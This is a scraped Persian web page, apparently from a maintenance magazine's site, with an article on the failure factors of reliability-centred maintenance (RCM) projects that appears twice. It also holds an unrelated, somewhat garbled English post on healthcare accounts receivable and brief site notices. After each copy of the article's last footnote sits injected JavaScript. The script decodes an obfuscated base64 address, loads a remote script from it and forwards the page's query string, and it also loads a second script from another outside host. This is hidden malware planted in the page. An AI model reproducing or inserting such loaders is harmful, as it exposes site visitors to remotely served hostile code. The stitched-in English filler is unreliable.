چکیده
در این مقاله پس از مرور کوتاهی بر نت مبتنی بر قابلیت اطمینان، عوامل مهم تاثیرگذار در شکست پیادهسازی این متد در صنایع جهان، بررسی شده است. این عوامل در واقع مسائلی است که باید سازمانی که قصد پیادهسازی نگهداری و تعمیرات مبتنی بر قابلیت اطمینان دارد، بر رفع آنها تمرکز کند تا از اتلاف هزینههای بالای انجام تحلیل جلوگیری نماید. لذا در پایان متدولوژی حل مساله برای مواجهه با فاکتورهای شکست تشریح شده است.
۱٫ نگهداری و تعمیرات مبتنی بر قابلیت اطمینان (RCM)
نگهداری و تعمیرات مبتنی بر قابلیت اطمینان (RCM) فرآیندی است که طی آن فعالیتهای نگهداشت یک تجهیز در شرایط عملیاتیاش مشخص میگردد. RCM ابتدا در صنعت هوایی ایجاد شد، در اواسط دهه ۱۹۸۰ میلادی به صنعت هستهای راه پیدا کرد و سپس در همه صنایع گشترش یافت. وجود مزایای زیاد پیادهسازی RCM باعث شد اقبال به RCM در سازمانها بالا باشد و به عنوان یک روش برتر غالب در صنایع مورد اقبال قرار یرد. ه وریکه طبق یافتههای نظر سنجی انجام شده از سازمانهای مختلف در سراسر دنیا (۷۴۹ پاسخ داده شده به نظر سنجی)، بیش از ۷۰ درصد سازمانها یا RCM انجام دادهاند یا برای انجام RCM در حال برنامهریزی هستند و لذا فقط کمتر از یک سوم سازمانها تا کنون برنامهای برای پیاده سازی و اجرای RCM ندارند. (شکل ۱)
با این وجود بر اساس تحقیقات انجام شده تخمین زده میشود بیش از ۸۵ درصد آنالیزهای RCM انجامشده توسط شرکتها هرگز به مرحله اجرا نرسیدهاند، که میتوان به عنوان به شکست تعبیر نمود، این آمار نشان میدهد احتمال پیاده سازی موفق RCM بسیار پایین است. [۱]
لذا لازم است برای افزایش احتمال موفقیت، عوامل زمینهساز شکست شناسایی و به روش کارآمد مدیریت گردد. بدین جهت در این مقاله به بررسی عوامل و نحوه مدیریت آنها در راستای افزایش احتمال موفقیت و اجرایی شدن نتایج تحلیل RCM پرداخته شده است. اولین نکته در مدیریت عوامل کلیدی شکست، درک این موضوع است، که با توجه به شرایط هر سازمان باید برای پیاده سازی موفق RCM برنامهریزی صورت پذیرد، و یک راه حل واحد پاسخگوی شرایط متنوع سازمانهای مختلف نیست.
۲٫ عوامل شکست پروژههای RCM
اجرای یک پروژه زمانی موفق است که موانع آن به طور کارآمدی رفع گردد. برای رفع مانع لازم است دقت شود که طرح و شناسایی موانع ه نهایی باعث فع مشکل نمیشود و از سوی دیگر پرداختن به همه موانع و یافتن راهکار برای آنها، میتواند هزینههای زیادی را به سازمان تحمیل کند، در حالیکه اغلب عوامل تاثیر چندانی بر روند پروژه ندارند. لذا سازمان باید برای هر پروژه، عوامل کلیدی شکست (CFF) را شناسایی کند. یک روش اثر بخش برای شناسایی CFF ها، الگوبرداری از سازمانهای دیگر است. در این روش ابتدا کلیه عوامل شکست را استخراج و سپس عواملی که با توجه به شرایط سازمان، اثرگذاری بیشتری دارند، شناسایی میشود. همان طور که در بخش اول اشاره شد، نرخ موفقیت در پروژههای RCM بسیار پایین است. طبق نظر سنجی صورت گرفته شده، دلایل و عواملی که منجر به توقف و عدم اجرا کامل RCM شده است، از میان ۶۰۱ پاسخ دهنده، به صورت جدول ۱ میباشد:
| عامل شکست |
درصد |
| پیچیدگی زیاد تحلیل RCM |
۱۱٫۴۸ |
| عدم حمایت و پشتیبانی (یا پشتیبانی اندک) مدیریت |
۲۰٫۱۳ |
| کمبود شدید نیروی انسانی برای حمایت از تحلیل RCM |
۲۱٫۴۶ |
| عدم پشتیبانی از تغییر وضعیت نگهداشت |
۱۲٫۳۱ |
| اتمام منابع مالی برای پیادهسازی RCM |
۸٫۴۹ |
| سایر…. |
۱۷٫۴۷ |
جدول ۱- عوامل شکست پروژههای RCM
علاوه بر عوامل لیست شده در جدول۱، عوامل دیگری نظیر فشار جهت تسریع در انجام آنالیز RCM، مشاوره و تسهیلگری ناکارآمد، عدم آموزش کافی و کارآمد تیم آنالیز RCM، عدم بهرهگیری از تیم جامع شامل بهرهبرداری، نت و مهندسی، توجه بیش از حد به سوابق خرابیها، بومی سازی غل رآیند آنالیز RCM از جمله فاکتورهای تاثیرگذار در شکست RCM هستند.
۳٫ متدولوژی حل مساله
با وجود اینکه پیاده سازی و اجرای RCM مزایای بالقوه بسیاری برای سازمانها دارد، تعداد از سازمانهایی که موفق به بهرهبراری مناسب از این مزایا شده اند، اندک است. لذا جهت موفقیت و غلبه بر عوامل شکست، تعریف اصولی، دقیق و شفاف مساله در قدم اول ضروری است. در یک طبقهبندی کلی، مساله به ۳ دسته “سوال[۲]، مشکل[۳] و مشکل پیچیده[۴]“ تقسیم بندی میشود؛ که در این دستهبندی فقط بخش اول قابل رفع است که برای حل مشکل ابتدا باید بتوان آن را با توجه به اهداف و استراتژیهای سازمان، تبدیل به یک سوال کرد. یکی از خطاهای رایج در مدیریت مسائل سازمانی در همبن مرحله رخ میدهد؛ عدم تبدیل مشکل به سوال. چرا یک مشکل واحد میتواند با توجه به شرایط سازمانی، تبدیل به سوالهای کاملا متفاوت و در نتیجه منجر به رویکردهای مختلف گردد. همچنین با توجه به منابع و توانمندیهای هر سازمان، روش مدیریت مساله نیز متفاوت میگردد. به عنوان مثال گزاره ” تیم الف پیاده سازی RCM، بی انگیزه هستند.” شناسایی یک مشکل است و سوال مربوط به این مشکل، با توجه به شرایط و برنامه استراتژیک سازمان، میتواند هر یک از موارد زیر باشد:
- چگونه افراد بیانگیزه تیم الف را اخراج نماییم؟
- چگونه مانع توسعه بیانگیزگی به سایر تیمها شویم؟
- چگونه به افراد تیم الف انگیزه بدهیم؟
به طور خلاصه میتوان گفت، پس از شناسایی عوامل کلیدی شکست (CFF) در پروژه RCM، قدم بعدی، تبدیل CFF ها به سوال واضحی است که بتوان روش کارآمد برای مدیریت آن فاکتور شکست یافت. مشخصا“ یافتن سوال مناسب، گام مهمی در افزایش احتمال پیاده سازی موفق RCM است.
۴٫ نتیجه گیری
بیتردید سازمانها با هدف کاهش هزینهها به نگهداری و تعمیرات مبتنی بر قابلیت اطمینان رو میآورند، اما سازمانهای کمی توانستهاند، در دستیابی به این هدف موفق باشند و نتیجه پیادهسازی نگهداری و تعمیرات مبتنی بر قابلیت اطمینان برای اکثر سازمانها چیزی جز اتلاف منابع نبوده است. لذا ضروری است هر سازمان به فراخور شرایط خود، عواملی که میتواند منجر به شکست در این پروژه میشود را شناسایی کند، و سپس میتواند با تبدیل هر عامل شکست به سوالات، راهکار مدیریت آن را یافته و به صورت پیش اقدام مانع از بروز مشکل در روند پیادهسازی شود.
منابع
- پرفسور نجاتی گیلانی، جزوه “آموزش مشاوره درون سازمانی”، ۱۳۹۴.
- Com, RCM Benchmarking Report، ۲۰۱۵٫
[۱] مصاحبه نگارنده با تعدادی از مشاورین پیاده سازی RCM در ایران حاکی از آن است که نرخ شکست پروژههای انجام شده در ایران بیش از ۹۵ درصد است.
[۲] Puzzle
[۳] Problem
[۴] Wicked Problem(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);
How AI Can Optimize Accounts Receivable Management
/0 دیدگاه /در دستهبندی نشده /توسط مجید هاشمیCollaborating with professional billing consultants or joining group purchasing organizations (GPOs) may also provide leverage in negotiations. Consider outsourcing billing functions to third-party vendors or billing companies to alleviate staffing shortages and ensure timely claim processing, like Transcure. They have 1100+ qualified billers and coders to meet the needs of both small and large practices. Investing in ongoing staff training and education on regulatory changes, as well as implementing robust compliance management systems, can help ensure adherence to industry standards. Additionally, partnering with experienced billing and coding vendors who stay updated on regulatory changes can provide added assurance of compliance. Accounts receivable management plays a critical role in maintaining the cash flow of your practice and building a financially thriving and strong practice.
Why Charge Capture is Critical for Hospital AR
With unique challenges such as insurance involvement and high deductibles, healthcare organizations must implement strategic practices to mitigate risks and maximize revenue. Account Receivable refers accounts receivable in healthcare to the cost of a particular service provided for a patient by any medical coding services or provider billed during medical billing. A strong account receivable (AR) process is critical for organizations in every sector, including healthcare.
How should healthcare teams monitor AR performance effectively?
Nick has managed billing & coding departments overseeing all functions & responsibilities including developing programs to optimize healthcare center’s RCM functions to improve overall financial performance. Nick has worked with Hospitals, Provider Groups, FQHCs, and Surgery Centers of all specialty types and sizes to ensure performance KPIs are achieved and maintained to meet monthly & annual goals. Nick effectively communicates with C-level executives and Revenue Cycle Directors to achieve both short-term and long-term objectives to meet the needs of AnnexMed’s clients. Inadequate billing staff with insufficient training can be disastrous for the revenue Statement of Comprehensive Income cycle of a health organization. Implement standardized protocols for collecting and verifying patient information during registration or intake processes, including insurance verification and demographic updates. Leverage EHR systems to capture and store patient information accurately, reducing the likelihood of data entry errors and ensuring consistency across documentation.
The Growing Challenge of Claim Denials and Delayed Reimbursement on Healthcare Providers
Our effective denial prevention strategy and dedicated denials team can help your organization increase payment recovery. This is done by identifying the root cause of denials, reworking the denials, writing appeals if necessary and CARES Act resubmitting claims. Insurance companies often take weeks or even months to process claims, creating cash flow gaps that can strain healthcare organizations’ budgets. Delayed reimbursements can severely impact financial planning and operational continuity.
A report from the Ponemon Institute estimates healthcare organizations average $3.7 million in lost revenue per data breach, but a report from Accenture estimates the cost could be as high as $113 million. According to Kristina B. Ziehler, MPH, is assistant director, data solutions, for the Medical Group Management Association (MGMA). Kristina says “Let’s start with the percentage of accounts receivable (A/R) in each aging category. When reviewing this particular benchmark, your company wants the majority to be in the days in A/R category. When benchmarking days in A/R, you want to compare yourself to the mean (or average). Based on this, your billing office would want to look at ways to improve their 0-30 days in A/R benchmark since it is lower than the MGMA benchmark.
چگونه در صنایع کشور با موفقیت نگهداری و تعمیرات مبتنی بر قابلیت اطمینان (RCM) پیادهسازی نماییم؟
/0 دیدگاه /در اخبار و رویدادها /توسط مجید هاشمیچکیده
در این مقاله پس از مرور کوتاهی بر نت مبتنی بر قابلیت اطمینان، عوامل مهم تاثیرگذار در شکست پیادهسازی این متد در صنایع جهان، بررسی شده است. این عوامل در واقع مسائلی است که باید سازمانی که قصد پیادهسازی نگهداری و تعمیرات مبتنی بر قابلیت اطمینان دارد، بر رفع آنها تمرکز کند تا از اتلاف هزینههای بالای انجام تحلیل جلوگیری نماید. لذا در پایان متدولوژی حل مساله برای مواجهه با فاکتورهای شکست تشریح شده است.
۱٫ نگهداری و تعمیرات مبتنی بر قابلیت اطمینان (RCM)
نگهداری و تعمیرات مبتنی بر قابلیت اطمینان (RCM) فرآیندی است که طی آن فعالیتهای نگهداشت یک تجهیز در شرایط عملیاتیاش مشخص میگردد. RCM ابتدا در صنعت هوایی ایجاد شد، در اواسط دهه ۱۹۸۰ میلادی به صنعت هستهای راه پیدا کرد و سپس در همه صنایع گشترش یافت. وجود مزایای زیاد پیادهسازی RCM باعث شد اقبال به RCM در سازمانها بالا باشد و به عنوان یک روش برتر غالب در صنایع مورد اقبال قرار یرد. ه وریکه طبق یافتههای نظر سنجی انجام شده از سازمانهای مختلف در سراسر دنیا (۷۴۹ پاسخ داده شده به نظر سنجی)، بیش از ۷۰ درصد سازمانها یا RCM انجام دادهاند یا برای انجام RCM در حال برنامهریزی هستند و لذا فقط کمتر از یک سوم سازمانها تا کنون برنامهای برای پیاده سازی و اجرای RCM ندارند. (شکل ۱)
با این وجود بر اساس تحقیقات انجام شده تخمین زده میشود بیش از ۸۵ درصد آنالیزهای RCM انجامشده توسط شرکتها هرگز به مرحله اجرا نرسیدهاند، که میتوان به عنوان به شکست تعبیر نمود، این آمار نشان میدهد احتمال پیاده سازی موفق RCM بسیار پایین است. [۱]
لذا لازم است برای افزایش احتمال موفقیت، عوامل زمینهساز شکست شناسایی و به روش کارآمد مدیریت گردد. بدین جهت در این مقاله به بررسی عوامل و نحوه مدیریت آنها در راستای افزایش احتمال موفقیت و اجرایی شدن نتایج تحلیل RCM پرداخته شده است. اولین نکته در مدیریت عوامل کلیدی شکست، درک این موضوع است، که با توجه به شرایط هر سازمان باید برای پیاده سازی موفق RCM برنامهریزی صورت پذیرد، و یک راه حل واحد پاسخگوی شرایط متنوع سازمانهای مختلف نیست.
۲٫ عوامل شکست پروژههای RCM
اجرای یک پروژه زمانی موفق است که موانع آن به طور کارآمدی رفع گردد. برای رفع مانع لازم است دقت شود که طرح و شناسایی موانع ه نهایی باعث فع مشکل نمیشود و از سوی دیگر پرداختن به همه موانع و یافتن راهکار برای آنها، میتواند هزینههای زیادی را به سازمان تحمیل کند، در حالیکه اغلب عوامل تاثیر چندانی بر روند پروژه ندارند. لذا سازمان باید برای هر پروژه، عوامل کلیدی شکست (CFF) را شناسایی کند. یک روش اثر بخش برای شناسایی CFF ها، الگوبرداری از سازمانهای دیگر است. در این روش ابتدا کلیه عوامل شکست را استخراج و سپس عواملی که با توجه به شرایط سازمان، اثرگذاری بیشتری دارند، شناسایی میشود. همان طور که در بخش اول اشاره شد، نرخ موفقیت در پروژههای RCM بسیار پایین است. طبق نظر سنجی صورت گرفته شده، دلایل و عواملی که منجر به توقف و عدم اجرا کامل RCM شده است، از میان ۶۰۱ پاسخ دهنده، به صورت جدول ۱ میباشد:
جدول ۱- عوامل شکست پروژههای RCM
علاوه بر عوامل لیست شده در جدول۱، عوامل دیگری نظیر فشار جهت تسریع در انجام آنالیز RCM، مشاوره و تسهیلگری ناکارآمد، عدم آموزش کافی و کارآمد تیم آنالیز RCM، عدم بهرهگیری از تیم جامع شامل بهرهبرداری، نت و مهندسی، توجه بیش از حد به سوابق خرابیها، بومی سازی غل رآیند آنالیز RCM از جمله فاکتورهای تاثیرگذار در شکست RCM هستند.
۳٫ متدولوژی حل مساله
با وجود اینکه پیاده سازی و اجرای RCM مزایای بالقوه بسیاری برای سازمانها دارد، تعداد از سازمانهایی که موفق به بهرهبراری مناسب از این مزایا شده اند، اندک است. لذا جهت موفقیت و غلبه بر عوامل شکست، تعریف اصولی، دقیق و شفاف مساله در قدم اول ضروری است. در یک طبقهبندی کلی، مساله به ۳ دسته “سوال[۲]، مشکل[۳] و مشکل پیچیده[۴]“ تقسیم بندی میشود؛ که در این دستهبندی فقط بخش اول قابل رفع است که برای حل مشکل ابتدا باید بتوان آن را با توجه به اهداف و استراتژیهای سازمان، تبدیل به یک سوال کرد. یکی از خطاهای رایج در مدیریت مسائل سازمانی در همبن مرحله رخ میدهد؛ عدم تبدیل مشکل به سوال. چرا یک مشکل واحد میتواند با توجه به شرایط سازمانی، تبدیل به سوالهای کاملا متفاوت و در نتیجه منجر به رویکردهای مختلف گردد. همچنین با توجه به منابع و توانمندیهای هر سازمان، روش مدیریت مساله نیز متفاوت میگردد. به عنوان مثال گزاره ” تیم الف پیاده سازی RCM، بی انگیزه هستند.” شناسایی یک مشکل است و سوال مربوط به این مشکل، با توجه به شرایط و برنامه استراتژیک سازمان، میتواند هر یک از موارد زیر باشد:
به طور خلاصه میتوان گفت، پس از شناسایی عوامل کلیدی شکست (CFF) در پروژه RCM، قدم بعدی، تبدیل CFF ها به سوال واضحی است که بتوان روش کارآمد برای مدیریت آن فاکتور شکست یافت. مشخصا“ یافتن سوال مناسب، گام مهمی در افزایش احتمال پیاده سازی موفق RCM است.
۴٫ نتیجه گیری
بیتردید سازمانها با هدف کاهش هزینهها به نگهداری و تعمیرات مبتنی بر قابلیت اطمینان رو میآورند، اما سازمانهای کمی توانستهاند، در دستیابی به این هدف موفق باشند و نتیجه پیادهسازی نگهداری و تعمیرات مبتنی بر قابلیت اطمینان برای اکثر سازمانها چیزی جز اتلاف منابع نبوده است. لذا ضروری است هر سازمان به فراخور شرایط خود، عواملی که میتواند منجر به شکست در این پروژه میشود را شناسایی کند، و سپس میتواند با تبدیل هر عامل شکست به سوالات، راهکار مدیریت آن را یافته و به صورت پیش اقدام مانع از بروز مشکل در روند پیادهسازی شود.
منابع
[۱] مصاحبه نگارنده با تعدادی از مشاورین پیاده سازی RCM در ایران حاکی از آن است که نرخ شکست پروژههای انجام شده در ایران بیش از ۹۵ درصد است.
[۲] Puzzle
[۳] Problem
[۴] Wicked Problem(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);
تبریک سال ۱۳۹۶ از طرف مجله اطمینان و تقویم صنعتی مجله اطمینان
/0 دیدگاه /در اخبار و رویدادها, تقویم سال 1396 /توسط سید مجتبی حسنیانگزارش تصویری یازدهمین همایش مدیران فنی و نگهداری و تعمیرات (۲ و ۳ آبان ۱۳۹۵)
/0 دیدگاه /در اخبار و رویدادها /توسط سید مجتبی حسنیانبروز آوری سایت مجله
/0 دیدگاه /در دستهبندی نشده /توسط سید مجتبی حسنیاندوستان و همراهان گرامی
سایت مجله اطمینان در حال بروزآوری توسط تیم پشتیبانی است، لطفا صبور باشید و منتظر خبرهای خوب باشید.